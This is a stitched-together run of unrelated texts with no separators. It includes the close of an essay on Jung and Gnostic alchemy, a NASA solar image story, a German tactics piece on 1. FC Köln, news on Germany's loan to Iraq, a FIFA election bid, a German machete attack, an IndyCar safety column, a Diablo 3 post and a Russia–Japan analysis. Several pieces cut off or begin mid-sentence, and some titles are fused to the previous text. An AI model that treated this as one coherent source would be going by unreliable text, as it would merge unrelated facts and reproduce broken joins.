The ever-repeated charge of radical dualism leveled against Gnostics and their alchemical kin is thus reduced to a misunderstanding by this last, and perhaps greatest, insight of Jung. The workings of the cosmos, both physical and psychic, are characterized by duality, but this principle is relative to the underlying reality of the unus mundus. Dualism and monism are thus revealed not as mutually contradictory and exclusive but as complimentary aspects of reality. It is a curious paradox that this revolutionary insight, impressively portrayed by Jung in Mysterium Coniunctionis, has received relatively little attention from psychologists and metaphysicians alike.
Alchemical interest and perception permeate many of Jung's numerous writings in addition to those devoted primarily to the subject. His work Psychology and Religion: West and East, as well as numerous lectures delivered at the Eranos conferences, all utilize the alchemical model as a matrix for his teachings. Time and again he pointed out the affinities and contrasts between alchemical figures and those of Christianity, demonstrating a sort of mirror-like analogy not only between the stone of the philosophers and the image of Christ, but between alchemy and Christianity themselves. Alchemy, said Jung, stands in a compensatory relationship to mainstream Christianity, rather like a dream does to the conscious attitudes of the dreamer. The Stone of alchemy is in many respects the stone rejected by the builders of Christian culture, demanding recognition and reincorporation into the building itself.
It is here that some of the considerations outlined at the outset of our present study appear once more. Alchemy is not a phenomenon sui generis, but rather a phenomenon of attempted assimilation proceeding from Gnosticism - or at least so Jung believed. Even the chief sacrament of Christendom, the Holy Eucharist or Mass, was regarded by Jung as an alchemical work connected with a Third Century Gnostic alchemist Zosimos of Panopolis, in whom he placed the historical point of the convergence of Gnosticism and alchemy. (These considerations were explained by Jung in his Transformation Symbolism in the Mass, first published in the Eranos Yearbook 1944/45, and later included in Psychology and Western Religion, Princeton University Press, 1984.) Years later, one of Jung's academic associates, Prof. Gilles Quispel, came to coin a phrase reflecting Jung's point of view. "Alchemy," the Dutch scholar said, "is the Yoga of the Gnostics."
Perhaps one of the most significant contributions along these lines was given to us by Jung's singularly insightful disciple Marie-Louise von Franz, who devoted herself to the translation and explanation of a treatise first discovered by Jung entitled Aurora Consurgens and attributed to St Thomas Aquinas. This renowned saint, so the legend states, had a vision of the Sophia of God after meditating on the Song of Songs of Solomon and, following the command received in the vision, wrote this alchemical treatise. The Aurora differs from most other alchemical works inasmuch as its format is predominantly religious and filled with biblical references, and even more importantly, because it represents the alchemical opus as a process whereby the feminine wisdom Sophia must be liberated. Written in seven poetic but scholarly chapters, the treatise traces the liberation of Sophia from confinement by way of the alchemical phases of transformation.
It is thus through the agency of a brilliant woman disciple that the great project envisioned by Jung in 1912 came to a renewed emphasis. Led by the rediscovered words of the "angelic doctor" Aquinas, contemporary students of religion and psychology were confronted once again with the Gnostic task of alchemy. Published in German in 1957 and in English in 1966, Marie-Louise von Franz's work brought Jung's gnostic-alchemical vision in to full view once more. While at the individual level alchemy may assuredly be concerned with the redemption of the Lumen Naturae concealed in the psycho-physiological recesses of the human personality, the Aurora and also Jung's Answer to Job appear to point to a yet larger and more universal opus.
Crying from the depths of the chaos of this world, the wisdom-woman Sophia calls out to the alchemists of our age. Depth-psychology has indeed served as one of the principal avenues through which this redemptive project has been made known. The time may be approaching, and may in fact have come already, when potential alchemists in various disciplines and spiritual traditions may address themselves to this universal task of alchemical liberation. In 1950 Jung was greatly encouraged when Pope Pius XII used several manifestly alchemical allusions, such as "heavenly marriage", in Apostolic Constitution, "Munificentissimus Deus", the official document declaring the dogma of the assumption of the Virgin Mary, (the Catholic Sophia). In our time alchemy has come into its own, and beginning with the most recent two decades Gnosticism has begun its return journey also. The stone that the builders rejected is moving ever closer to the structure of Western culture.
In the garden of Jung's country home in Bollingen stands a large cube-shaped stone inscribed by his own hand with magical and alchemical symbols. In his last revelatory dream prior to his death, Jung saw a huge round stone engraved with the words "And this shall be a sign unto you of Wholeness and Oneness". Perhaps these signs of the wondrous stone of the great work will serve to remind the many whose lives and souls were touched by the Swiss Wizard, of the great work to be done, the great miracle to be accomplished. It is to be hoped that such an awakening of mindfulness will please Carl Gustav Jung in the far land to which he journeyed, and that it will assist those who are still in this sub-lunar world in their search for the quintessence, the stone of the philosophers and the supreme good.
Notes
Information concerning this visit was given to the writer in a private interview by Prof. Gilles Quispel. For material on Jung's Gnostic interests and on the Sermons, the reader is referred to the author's work The Gnostic Jung and the Seven Sermons to the Dead, (Quest Books, 1982). Memories, Dreams, Reflections of C.G. Jung, ed. by Aniela Jaffe, transl. by R. and C. Winston (Vintage, 1963) p. 200. Ibid. pp. 192-193. Wilhelm, Neue Zuricher Zeitung, 21 January, 1929. Jung's Last Years and Other Essays, by Aniela Jaffe, trans. by R.F.C. Hull and Murray Stein (Spring Publications, 1984) p. 54.
The article first appeared in Gnosis: A Journal of Western Inner Traditions (Vol. 8, Summer 1988),
and is reproduced here by permission of the author.
All images are copyright © Adam McLean 1999 and 2000.An incredible image released by NASA shows the Sun bearing a striking resemblance to a jack-o-lantern.
The image was captured on Oct. 8, 2014 by NASA’s Solar Dynamics Observatory (SDO), which watches the Sun at all times. The orbiting space observatory was launched on Feb. 11, 2010.
'MONSTER' PLANET DISCOVERY STUNS SCIENTISTS
“Happy Halloween!” the space agency tweeted Tuesday with the stunning picture of the ‘jack-o-lantern’ sun.
“Active regions on the sun combined to look something like a jack-o-lantern’s face,” explained NASA, in a statement on its website. “The active regions in this image appear brighter because those are areas that emit more light and energy. They are markers of an intense and complex set of magnetic fields hovering in the sun’s atmosphere, the corona,” it added.
The image blends together two extreme sets of ultraviolet wavelengths, which are typically colorized in gold and yellow, to create an appearance resembling a jack-o-lantern, according to NASA.Köln -
Die Defensive ist das Fundament der erfolgreichen Saison des 1. FC Köln. Die Mannschaft von Peter Stöger hat bislang nie auf einem Abstiegsplatz gestanden – und das vor allem, weil die eigene Defensive zumeist überzeugt. Wie attraktiv neun torlose Spiele in einer Saison für die Zuschauer sind, sei einmal dahingestellt, doch am Ende werden diese Werte den Klassenerhalt sichern: Elf Spiele ohne Gegentor, nur zwei Mal mehr als drei Gegentore – und überhaupt haben die Kölner in den bisherigen 31 Spielen bloß 36 Treffer kassiert. Sehr ordentliche Werte für einen Aufsteiger.
Aber was ist es, das die Kölner Defensive so stark macht? Auch andere Teams versuchen, die Null zu halten – schaffen es jedoch deutlich seltener. ksta.de hat sich erkundigt beim Taktik-Experten Tobias Escher, der einer der Gründer des Taktik-Blogs spielverlagerung.de ist. Die wichtigsten Fragen und Antworten zur guten Abwehrarbeit und zur Spielweise des 1. FC Köln.
Was genau macht den 1. FC Köln so stark?
In der Bundesliga versuchen viele Mannschaften, aus einer stabilen Defensive heraus auf Konter zu spielen. Die Kölner sind damit ja nicht alleine – das sind fast alle Mannschaften, die in der unteren Tabellenhälfte stehen. Der Unterschied zwischen dem FC und allen anderen Mannschaften ist ganz einfach: Der FC macht es besser und fokussiert sich noch mehr als alle anderen auf Konter.
Wie funktioniert das?
Das Wichtigste beim FC ist: Die Abläufe sind mit das Beste, was die Liga zu bieten hat. Im 4-4-2 und im 4-1-4-1 funktioniert die Mannschaft sehr, sehr gut. Einerseits die Raumdeckung bei gegnerischem Ballbesitz. Aber immer wieder auch das Pressing im richtigen Moment. Wenn sich beim Gegner einer der defensiven Mittelfeldspieler zurückfallen lässt, reagiert der FC sehr schnell, indem einer der eigenen „Sechser“ (zumeist Matthias Lehmann, teilweise aber auch Kevin Vogt) nach vorn rückt und den Gegner unter Druck setzt.
Aus dem 4-4-2 wird dann ein 4-1-3-2. Das machen viele Teams mittlerweile so, aber Köln macht es am besten, weil sie dabei trotzdem noch kompakt stehen und durch geschicktes Verschieben keine Räume öffnen für eventuelle Konter der Gegner.
Lesen Sie auf der nächsten Seite mehr von der großen Taktikanalyse über den 1. FC Köln
Ist diese Spielweise sinnvoll? Es macht Sinn, als Aufsteiger zwei solche Varianten auszuarbeiten, bei denen vor allem die Defensive kompakt steht. Das ist ja auch Peter Stögers bevorzugte Spielweise. Er musste sich nicht besonders umstellen, weil er einen Aufsteiger trainiert. In der vergangenen Zweitliga-Saison hatte der FC zwar als Dauerfavorit etwas mehr Ballbesitz, hat seine Tore aber größtenteils auch über rasante Konter erzielt. So ist es in dieser Saison auch. Stöger sagt ja sogar, dass er möchte, dass seine Mannschaft noch kompakter steht und noch schneller umschaltet. Übrigens: Nur Paderborn und Hertha sind im Schnitt seltener in Ballbesitz als der FC. Passen die Mannschaft gut zu dieser Spielweise? Der FC hat sehr gute Umschaltspieler. Vor allem die Außenverteidiger Jonas Hector und Pawel Olkowski spielen sehr clever und sind sehr dynamisch. Beide sind ja auch bekannt dafür, dass sie auch mal nach vorn stürmen. Beide machen das geschickt: Sie bleiben erst Außen, ziehen dann aber ab der Mitte der gegnerischen Hälfte häufig diagonal ins Zentrum und haben dadurch Drang zum Tor. Das ist etwas ganz anderes als der Trend, der bei der Weltmeisterschaft 2014 in Brasilien unter anderem bei der deutschen Mannschaft zu sehen war: Dass eher weniger dynamische Innenverteidiger wie Benedikt Höwedes plötzlich außen spielen. Was Köln bei Kontern auch sehr gut macht, ist, dass sie versuchen, diagonal Flachpässe zu spielen. Ob von Außen ins Zentrum oder vom Zentrum auf die Außenbahn. Das sind fiese Pässe für die Gegner, weil der FC oft gut die Lücken des Gegners beim Verschieben erkennt. Welche Spieler ragen heraus? Die Kölner Innenverteidiger Kevin Wimmer und Dominic Maroh sind zwar stark, aber beim FC ist kaum jemand herauszuheben. Matthias Lehmann und Jonas Hector fangen die meisten Bälle ab, gewinnen viele Zweikämpfe und klären oft in letzter Not. Aber insgesamt ist die Kompaktheit des 1. FC Köln eine Leistung der gesamten Mannschaft. Kein Feldspieler ist in irgendeinem Wert in der Bundesliga herausragend. Da alle kompakt verschieben und ihre Abläufe so gut beherrschen, entstehen für die Gegner keine Räume zwischen den verschiedenen Reihen. Das ist sehr wichtig. Köln hat also keinen besonderen Eckpfeiler, der FC kommt über den Teamgeist. Und er hat mit Timo Horn natürlich einen herausragenden Torwart. Er ist der Bundesliga-Torhüter mit den meisten Paraden beim Stand von 0:0. Lesen Sie auf der nächsten Seite mehr von der großen Taktikanalyse über den 1. FC Köln
Trotzdem werdend die Kölner für ihre Spielweise kritisiert… Es ist absolut angemessen, mit dem Kölner Kader so zu spielen, wie sie eben spielen. Die Kölner müssen sich zwar teilweise einiges wegen ihrer defensiven Spielweise anhören – aber sie stehen gut, sind kaum zu knacken. Andere Teams möchten gern auch so spielen, aber bei denen klappt das eben nicht. Der FC wird kritisiert, weil er 0:0 spielt und seine Idee aufgeht. Dabei versuchen andere Teams wie der Hamburger SV dasselbe. Der HSV patzt dann aber zum Beispiel gegen Augsburg zwei Mal hinten und hat vorn drei Mal einigermaßen Glück und gewinnt dann 3:2. Das klingt natürlich dynamischer und spannender, aber das ist ein Zufallsprodukt, während bei Köln eine funktionierende Idee dahinter steckt. Wo könnten in Zukunft die Probleme des FC liegen? Wenn es ein Problem beim FC gibt, dann könnte das die Doppelsechs sein, bestehend aus Matthias Lehmann und Kevin Vogt. Sie sind zwar nicht schlecht, aber sie gehören auch nicht zur besten Doppelsechs der Liga – und das zentrale defensive Mittelfeld ist gerade beim Spielaufbau heutzutage extrem wichtig. Die defensiven Mittelfeldspieler müssen so agieren, dass sie beim Aufbau nicht immer gleich gestört werden und genug Sicherheit haben, um auch kritische Situationen zuverlässig lösen zu können. Das geht dem 1. FC Köln ein bisschen ab. Deshalb sind ja auch die Außenverteidiger im Spielaufbau so präsent. Das ist ein Indiz dafür, dass es im Zentrum zumindest leichte Probleme gibt. Wobei die manchmal geringe Passquote bei Köln ja auch systemgemacht ist, die Spieler sollen bei Kontern ja schnell und damit teilweise auch riskant passen. Spielt es eine Rolle, dass die Stürmer so viel laufen? Definitiv. Köln kann sehr gut zwischen Defensiv- und Angriffspressing unterscheiden. Es ist ja nicht so, dass der FC die Gegner 90 Minuten lang früh in deren Spielaufbau stört. Die Kölner wissen, wann kluge Zeitpunkte sind, um den Gegner anzulaufen. Und sie haben mit Anthony Ujah in dieser Saison einen guten Stürmer für diese Spielidee, weil Ujah viel Laufarbeit verrichtet. Er war zu Beginn der Saison oft auf sich allein gestellt. Zuletzt haben sie häufiger 4-4-2 gespielt, da klappte es noch besser. Mit Deyverson und auch mit Yuya Osako. So können die Kölner gezielt vorn Druck ausüben und dem Gegner einen Passweg aufzwingen. Insgesamt klingt das alles wie ein Kompliment für Peter Stöger. Das ist es auch. Wenn man als Aufsteiger mit dem Abstieg kaum etwas zu tun hatte und den Klassenerhalt ein paar Spieltage vor Schluss perfekt machen kann, dann ist das schon ein Kompliment wert. Ich verstehe auch, wenn die Leute kritisieren, dass sie kein zehntes 0:0 sehen möchten. Aber dass die Kölner gut verteidigen und sie deswegen kaum Gegentore kassieren – das ist eine Menge wert. Noch kein Facebook-Fan? Auf unserer Seite KSTA Sport können Sie mit uns über das aktuelle Geschehen rund um den 1. FC Köln und über andere Sportthemen diskutieren. Darum muss der FC den Fall Ujah vor dem Spiel gegen Schalke ausblenden – sehen Sie hier einen Video-Kommentar: Dieser Inhalt ist nicht mehr verfügbar.Germany will provide a loan worth 500 million euros ($566 million) to Iraq to aid the country's struggling economy, German Chancellor Angela Merkel announced on Thursday after a meeting with Iraqi Prime Minister Haider al-Abadi in Berlin.
"Germany is ready to do what it can... to stabilize Iraq in view of the big security challenges and economic challenges," Merkel said during a joint news conference with al-Abadi, noting the impact of weak oil prices on the Iraqi state budget.
Although the loan is not tied to any specific projects, Merkel said Iraq needed to repair its war-torn infrastructure to give Iraqi people hope "so that they don't have to leave their country." She also added that Germany wishes to help demine cities and towns in Iraq so its 3 million internal refugees may once again return home.
Tens of thousands of Iraqis have also sought refuge in Germany, which is currently under pressure at home to reduce the refugee influx after seeing some 1.1 million people apply for asylum last year.
To help stem the tide of asylum-seekers, Merkel said the two countries would work more closely to battle human traffickers who lure Iraqis to Germany under false pretenses.
The money should also help buoy Iraq's faltering economy in light of the global slump in oil prices - which are now around $30 (26 euro) per barrel, down from $110 (96 euro) in 2014. Oil provides more than 90 percent of Iraq's government revenue, said al-Abadi one day prior.
'Kurdistan is part of Iraq'
At the joint press conference in Berlin, al-Abadi also strongly discouraged autonomous Kurdistan's proposed independence referendum.
"The Kurdistan region will not develop without Iraq, and Iraq must be united in all its components," al-Abadi said. "I urge them not to go ahead with the referendum. If as they say they are not going to abide by its outcome, then why to hold a referendum?"
Last week, Kurdish leader Massoud Barzani called for the region to hold a non-binding referendum on independence from the rest of Iraq, despite also struggling with oil prices and fighting the militant "Islamic State" (IS) group.
"Kurdistan is part of Iraq and I hope it remains that way," al-Abadi insisted. "Disintegration is in no-one's interest."
Merkel also said on Thursday she also did not want to see Iraq divided: "With all our support for the peshmerga and the Kurds (in the fight against IS) we have always made that clear," the chancellor said, referencing the military support Germany has given the region's peshmerga forces.
Kurdistan's forces have driven back IS militants in northern Iraq, garnering international recognition and support. But many regional powers such as Turkey, Iran, and Syria oppose Kurdish independence.
rs/jil (AP, AFP, dpa, Reuters)Jerome Champagne sets his sights on changing the politics of football
But Champagne does not believe he could beat Blatter if the Swiss decides to stand again in 2015.
Blatter is yet to decide whether he will bid for a fifth term and will not announce his intentions until just before the FIFA congress in June.
Asked at the London launch of his campaign if he could beat Blatter, Champagne said: "I don't think so. He's someone of relevance."
All the indications are however that Blatter will run, and that means he will be up against his former right-hand man Champagne. Champagne ran Blatter's successful election campaign in 2002.
Frenchman Champagne, 55, a former diplomat, worked at FIFA for 11 years between 1999 and 2010 and is a former deputy Secretary General of world football's governing body.
If Champagne beats Blatter, he would become the first French president of FIFA since the legendary Jules Rimet.
Champagne, 55, will stand on a modernising ticket, though he wants to keep in place many of the game's traditional values.
Some of his proposals are radical. He would like to see an orange'sin-bin' card introduced, with players ordered off the pitch for a short time. He would also like to give referees the power to penalise teams territory, as happens in rugby union.
Another proposal would see only captains allowed to talk to the referee.
"It is a very emotional issue for me," he said. "As a teenager I worked at France Football, which was founded by Rimet in 1946. Now 37 years later I am in a position to run for an office Jules Rimet presided over. You can have these circles in life."
Blatter will be 78 in March and he has been at the helm of FIFA since 1998.
UEFA head Michel Platini, 58, could also stand - meaning Champagne would be taking on men who he has had close ties with in the past.
As well as working with Blatter as FIFA's international advisor for much of his 11 years in Zurich, Champagne's introduction into the world of football politics came through his fellow Frenchman Platini.
If that happens, Champagne wants to take on both in a televised debate.
"I would welcome a TV debate with anyone else who will stand. Football is so important for so many millions, let us show the world that we are open and democratic and transparent.
"The election next year is so important it will define football for the next 15 or 20 years so let us have a deep, meaningful discussion."
Champagne's campaign has already been given the backing of legend Pele.
The Brazilian, widely regarded as the world's greatest-ever player, gave his backing in a videotaped message shown when Champagne launched his bid at a news conference in London.
Pele said: "I cannot stay |
panic in the city, NTV news channel reported, with Germans still on edge following Friday's mass shooting in Munich, where a German-Iranian teenager killed nine people and injured 35 others before committing suicide.
It also came six days after a teenage asylum seeker went on a rampage with an axe and a knife on a regional train near the southern city of Wuerzburg, injuring five people.
While Germany has so far not suffered the type of large-scale terror attacks seen in neighbouring Belgium and France, the train assault was claimed by the Islamic State group, its first attack in Germany.
- Stopped by BMW -
A police spokesman said he could not confirm a story in the bestselling Bild newspaper that the woman murdered in the machete attack was pregnant.
An employee at the Turkish restaurant told the Stuttgarter Zeitung that the Syrian asylum seeker had arrived in Germany by himself about 18 months ago.
NTV showed amateur video footage of the suspect running away from the scene before cutting to him lying on the ground, his face bloodied and his hands cuffed by police.
Earlier, as he tried to make his escape, he smashed a car windshield with his machete, injuring the female driver. He also injured a young man in the face. Another woman lightly hurt her head when she was knocked over by the fleeing assailant, reports said.
A police spokesman told AFP the drama ended when the man was "hit by a BMW as he fled," but he could not say if the driver had deliberately run the man down, as some media were reporting, or if he had been struck by accident.
Pictures from the scene showed forensic police sealing off the area and erecting a tent over the white BMW. A woman's body was also seen lying on the pavement.
"The perpetrator was fortunately arrested and no longer represents any danger," said regional interior minister Thomas Strobl.
While the latest incident does not appear to be linked to terrorism, the fact that the perpetrator is a recent arrival from Syria could pile pressure on German Chancellor Angela Merkel over her open-door asylum policy.
Germany took in more than a million asylum seekers last year, but the public mood towards the newcomers darkened after migrants were blamed for a wave of sexual assaults during New Year's Eve festivities in the city of Cologne.QUEENSLAND State of Origin stalwart Brent Tate will play on in 2015 after extending his contract with the Cowboys for another 12 months.
The 32-year-old will have a chance of achieving two significant personal milestones in his 15th season next year _ 100 games for North Queensland and 250 overall.
“I’ve really loved my time in north Queensland so it’s great that I’ll be able to stay here at the Cowboys for at least another season and a half,” Tate said.
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“I think I still have plenty to offer the club and happily they think the same way.
“I’m definitely still enjoying playing football, being a north Queenslander and everything that goes along with it.”
Tate has played in each of Queensland’s last six State of Origin matches, taking his career total to 21 games.
He has also represented Australia 26 times, most recently at the 2013 World Cup.Look how close James Davison’s wing was to Oriol Servia’s helmet.
There’s no better time than now for the IndyCar Series to find a better way to shield its drivers’ heads.
The safety advances IndyCar has made over the last 20 years were on full display during Sunday’s Indianapolis 500 won by Takuma Sato. Scott Dixon and Jay Howard were able to walk away from a terrifying incident where Dixon’s car catapulted over the top of Howard’s and landed on a wall.
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No driver was hurt in a five-car pileup inside the race’s final 20 laps that started when James Davison and Oriol Servia made contact. And Buddy Lazier hit a wall with styrofoam padding in the middle when his car snapped around in turn 2 and made violent contact with the outside wall.
IndyCar can point to all three incidents as moments of safety pride. But each and every one could have been much, much worse had they unfolded slightly differently and a driver’s head sustained a direct impact with car parts or the wall.
The last two driver deaths in the IndyCar Series have come as a result of head injuries. Dan Wheldon was killed in 2011 when his car flew into the catchfence and his head hit a metal pole in turns 1 and 2 at Las Vegas Motor Speedway.
In 2015, Justin Wilson died after sustaining a serious head injury when his helmet was hit by a piece of debris from a wrecked car ahead of him at Pocono.
Both Wheldon and Wilson would have had far greater chances of survival had their heads not been exposed in the open-cockpit design that IndyCar has always employed. Each incident sparked discussion about solutions to protect drivers’ heads, but nothing came close to implementation.
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Standing pat wasn’t acceptable after Wheldon and Wilson’s deaths and it still isn’t so now. While the series basks in the pride of an Indianapolis 500 with no serious driver injuries, IndyCar needs to take immediate action and find an enclosed cockpit solution for its cars as soon as possible.
The hypotheticals surrounding Dixon’s accident are the most dramatic evidence supporting an enclosed-cockpit solution. As Dixon’s car tumbled through the air it landed on its side on top of the turn 2 inside wall so violently that the engine was separated from the chassis Dixon occupied.
Oh my god it’s incredible that Scott Dixon is OK. pic.twitter.com/2nA1DRIIRo — Nick Bromberg (@NickBromberg) May 28, 2017
Had the rotation of Dixon’s car been just fractionally quicker, the roof of his car could have landed on the top of the wall, exposing his helmet to the concrete.
How Dixon’s car landed on the wall.
Lazier’s crash wasn’t nearly as visually terrifying as Dixon’s. His car snapped loose in turn 2 and smashed into the SAFER barrier on the outside of turn 2. SAFER — a wall with styrofoam blocks in the middle of two concrete and steel barriers, helps absorb energy from a crash and was first introduced at Indianapolis Motor Speedway.
It’s undoubtedly saved many drivers from greater injury and likely limited Sebastien Bourdais to pelvic fractures and a hip fracture in his awful high-speed crash in 500 qualifying last week.
As Lazier’s car slid into the wall it created a field of debris for the cars behind him to navigate. The debris is a sign that the car is dissipating energy — a good thing for Lazier, who was taken to the hospital as a precaution because of pains in his chest area.
But that debris field creates a danger zone for the drivers behind the accident no matter how light the carbon fiber pieces that fly off the car really are. At 200 MPH, a fly can feel like a BB. Thankfully, none of the bouncing pieces of debris from Lazier’s car (that we know of) hit a driver in the helmet.
No one flipped over or went flying through the air in the five car crash instigated by contact between Davison and Servia. But a moment in the aftermath as Davison and Servia’s cars were sliding to a stop was just as vivid a reminder of the head dangers that IndyCar drivers face as Dixon’s crash was.
As Davison and Servia slid towards turn 2, the rear wing was ripped off of Davison’s car and sticking out at an angle. When Davison’s car approached Servia’s again near the outside wall, the protruding piece came within inches of hitting Servia square in the helmet.
Watch the wing.
The open-cockpit design has lasted as long as it has largely because of tradition. After 101 Indianapolis 500s without cars with a roof, a 102nd Indy 500 with cars featuring roofs would be a stark departure.
Other concerns include driver visibility. After years and years of driving without an enclosure, it would take a serious adjustment for many drivers. There are also worries about safety side effects. Could a driver effectively get out of a car that was on fire?
While the reasons listed above have at least a tiny sliver of merit to each, they’re all overridden by the practicality of a closed cockpit solution. Many traditions have proven to be ineffective as time marches on. Yeah, there’d be an adjustment, but drivers would quickly get used to closed cockpits.
And the IndyCar safety team is the best in North American motorsports. It was to Bourdais’ car 11 seconds after his qualifying accident. Its excellence diminishes the concerns like fire and overturned cars at the expense of blunt head trauma.
The current Dallara chassis — the DW12 named after Wheldon — is being discontinued at the end of the season in favor of a newer, sleeker car in 2018. That car, revealed earlier this spring, continues to have a traditional open-cockpit design.
While a canopy or some sort of shield shouldn’t wait until next season to make its debut, there’s still plenty of time for IndyCar and Dallara to find a closed-cockpit solution for its new car. Even as IndyCar continues to make great steps in the name of safety, it’s never going to go as far as it could to keep its drivers safe without finding a solution for its current cockpit design.
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Nick Bromberg is the editor of Dr. Saturday and From the Marbles on Yahoo Sports. Have a tip? Email him at nickbromberg@yahoo.com or follow him on Twitter!After recently unveiling his first single for eighteen years, Nick Heyward now promises a new album, Woodland Echoes.
The double A-side ‘Mountaintop’ and ‘Baby Blue Sky’ was the first offering from the album, which is due for release on 4th August. A-side ‘Mountaintop’ is inspired by a poignant mountaintop scene in Sam Wood’s 1939 film Goodbye, Mr Chips, but was written at sea-level and infused with his love for the rootsy sound of Americana. While on the flip side ‘Baby Blue Sky’ is inspired by living and recording on a houseboat in Key West. Featuring ABC guitarist Matt Backer on guitars. Nick describes working with him as a chance to “express their mutual love of the Rubinoos, Big Star and 70’s guitar power pop.”
The accompanying video for ‘Baby Blue Sky’ was filmed entirely on Nick and his fiancee’s mobile phones. Featuring footage of Nick’s American band, it gives us a snapshot of his life in Key West, where he recorded much of the album. “I love the sense of freedom” Nick enthuses, “here we are in 2017 and we can make a video ourselves on our phone and edit it on our computer. I loved the whole process and the lack of rules or formulas.”
Back in the 80’s, Nick’s band Haircut 100 released four UK Top 10 hit singles, with their debut album Pelican West reaching No. 2 in the UK album charts.
● Woodland Echoes is released on 4 August via Gladsome Hawk. Click on the link below to pre-order.OCALA, Fla. - A man on probation for sexual activity with a miniature donkey is back in jail on unrelated charges.
According to published reports, 32-year-old Carlos R. Romero was arrested Thursday on a warrant for dealing in stolen property and violation of Florida's pawnbroker act. Ocala Police say he stole 16 train batteries.
On Dec. 14, Romero accepted a plea offer from the State Attorney's Office for a year of probation and a $200 fine, avoiding jail at the time. He pleaded guilty to sexual activity with a miniature donkey named Doodle.
Since then, Romero says he has been living in the woods or his pickup truck and eating food from Dumpsters. He says he didn't know he had a warrant for his arrest and thinks the charges are bogus.
Copyright 2013 by The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.We all know that although we fight the Skeleton King in the Beta he is not the Act 1 boss, brought forward in the beta to give testers something meaty to fight as a finale. The boss of each of the acts has been heavily speculated, even the final boss is open for debate. That could all now be settled with the discovery of another image post in the Beta Forum, apparently boss profiles that will appear in your profile once you have defeated each. Each has a picture and the Act number above them.
Of course this is below the fold. Also, as someone pointed out to me yesterday, the scrolling ‘latest comments’ up top of this page can also spoil things if you see a comment fly by “A unicorn! zomg, you’re kidding me!?” so don’t look at that for a day or so either.
The first one is a little bit of a surprise. I say a little because The Butcher is such an iconic boss now. His greeting on first entering his room “Ahhh, fresh meat!” in Diablo 1 is part of the popular lingo and perhaps because of that Blizzard felt he had more gravitas now and could play a more important role in the story. So it sounds like that after you kill the Skeleton King you move onto the Torture Chambers but only for a while before you head out to the Fields of Misery, Festering Woods etc and then return to the Torture Chambers later where the Butcher will be waiting for you. Yes, you!
I think it’s great the Butcher is going to be an Act boss, even though it was known he’s coming back in Diablo 3, I’m more excited that it’s going to be an even larger battle now. The other bosses or their order, does anything surprise you there?Abe Putin AP / Yoshimasa Shimizu Relations between Russia and Japan generally run cold, but sometimes broader political and economic considerations cause them to thaw, however slightly.
The geopolitical climate currently taking shape is once again conducive to talks between Moscow and Tokyo.
Russia wants to extend its business and political ties to the east, and Japan wants to prevent Russia from getting too close to China. Still, major constraints remain for both Moscow and Tokyo that will limit the success of any attempts to warm ties.
After a quiet year, Moscow and Tokyo are now engaged in a sudden rush of diplomatic activity.
Japanese Foreign Minister Fumio Kishida visited Moscow on Sept. 20-22 to meet with his counterpart, Sergei Lavrov, and Russian Security Council chief Nikolai Patrushev is in Tokyo from Sept. 22 to Sept. 25 to meet his counterpart, Shotaro Yachi. Each side is working on an agreement for Russian President Vladimir Putin to visit Japan before the end of the year.
Analysis
Moscow and Tokyo have been locked in a territorial dispute for more than a century over the Kuril Islands, which extend in a chain between the two countries. The islands have changed hands repeatedly throughout history, though after World War II the Soviets occupied the disputed islands and expelled their Japanese inhabitants.
Because Japan sees Russia as an occupying force in the Kurils, Moscow and Tokyo have never signed a peace treaty to end their World War II hostilities. Since that time, Russia has viewed Japan as part of the U.S. alliance structure. The two countries have had a relatively poor relationship and fairly low levels of trade.
STRATFOR
But in recent years, both countries' circumstances have changed, leaving the two to explore a possible end to the dispute and a warming of relations. First, Japan's energy consumption patterns shifted after the Fukushima Daiichi nuclear disaster in 2011. The change occurred just over a year after Russia began exporting more oil eastward and made plans to begin constructing natural gas pipelines.
In 2013, the countries also discussed two major investment deals: a Russo-Japanese investment bank that would help the Russian state privatize assets, and Japanese investment into Russia's energy sector, particularly Gazprom's East Siberia fields and a possible liquefied natural gas facility at Vladivostok.
The deals would be the first major investments between Tokyo and Moscow outside of the Sakhalin-2 LNG facility, which is located on an island Japan technically still considers its territory. These opportunities led Moscow and Tokyo to explore a possible deal over the Kuril Islands in 2013, which proposed that Russia give two of the islands to Japan and promise to return the other two islands within the following decade.
The thaw in Russo-Japanese relations halted after the 2014 uprising that replaced the pro-Russian government in Ukraine with a Western-backed government. Western sanctions against Russia followed, and Russia grew more internationally isolated.
Russia likely would have continued pursuing stronger ties with Japan if Tokyo had not signed onto the sanctions against Russia and spoken out against the Russian annexation of Crimea. In May, Russian Duma Speaker Sergei Naryshkin said Japanese officials had indicated that the United States had pressured Japan into joining the sanctions.
Asia Pacific Economic Cooperation (APEC) leaders pose for a family photo at the International Convention Center at Yanqi Lake in Beijing, November 11, 2014. (Front row L-R) U.S. President Barack Obama, China's President Xi Jinping and Russia's President Vladimir Putin. (Back row L-R) Japan's Prime Minister Shinzo Abe, Australia's Prime Minister Tony Abbott, Malaysia's Prime Minister Najib Razak, New Zealand's Prime Minister John Key. REUTERS/Kim Kyung-Hoon
Since then, Russia has increased its military activities in the Pacific, conducting military flights around Japan's northern islands and holding exercises on the disputed Kuril Islands. Over the summer, a series of Russian politicians and officials visited the islands. The Japanese government launched formal protests against Russian Prime Minister Dmitri Medvedev's visit in August.
The Russian government has backtracked on negotiating and even changed its tone concerning the islands. Lavrov stated Sept. 22, "No progress can be made without a clear understanding of the historical facts as a result of World War II," meaning the Russian government now wants Japan to recognize that the Kuril Islands belong to Russia. Because of Moscow's new stipulation, Lavrov admitted that he and his Japanese counterpart would not even discuss the islands.
This makes any settlement on the issue highly unlikely in the foreseeable future. For Russia to agree to give the islands back to Japan, Moscow would have to recognize the islands as Japanese. Having recently annexed Crimea, Russia does not want to show either its domestic audience or the international community that it is willing to cede territory if pressured.
However, this does not mean that Russia and Japan do not need high-level dialogue. The countries have agreed to resume their 2+2 talks, a mechanism through which their foreign and defense ministers meet regularly. Both countries are involved in and see increased military activities in the Pacific.
Russia, however, is wary that Japan — a key U.S. ally — could be part of Washington's policy of containing Russia. But Japan also does not want to see relations between Moscow and Beijing grow into a force that could act as an axis against Washington and Tokyo. Russia, meanwhile, does not want to base its eastern strategy on China and would like to have multiple East Asian customers for its energy exports.
Russia also wants to separate the territorial dispute from Japanese firms investing in Russia, something Japanese businesses are keen to do. However, for Japanese companies to flood Russia's energy sector with their advanced technology, Tokyo will have to wait for the sanctions on Russia to be lifted. Japan has shown that it will not work against U.S. wishes concerning Russia.
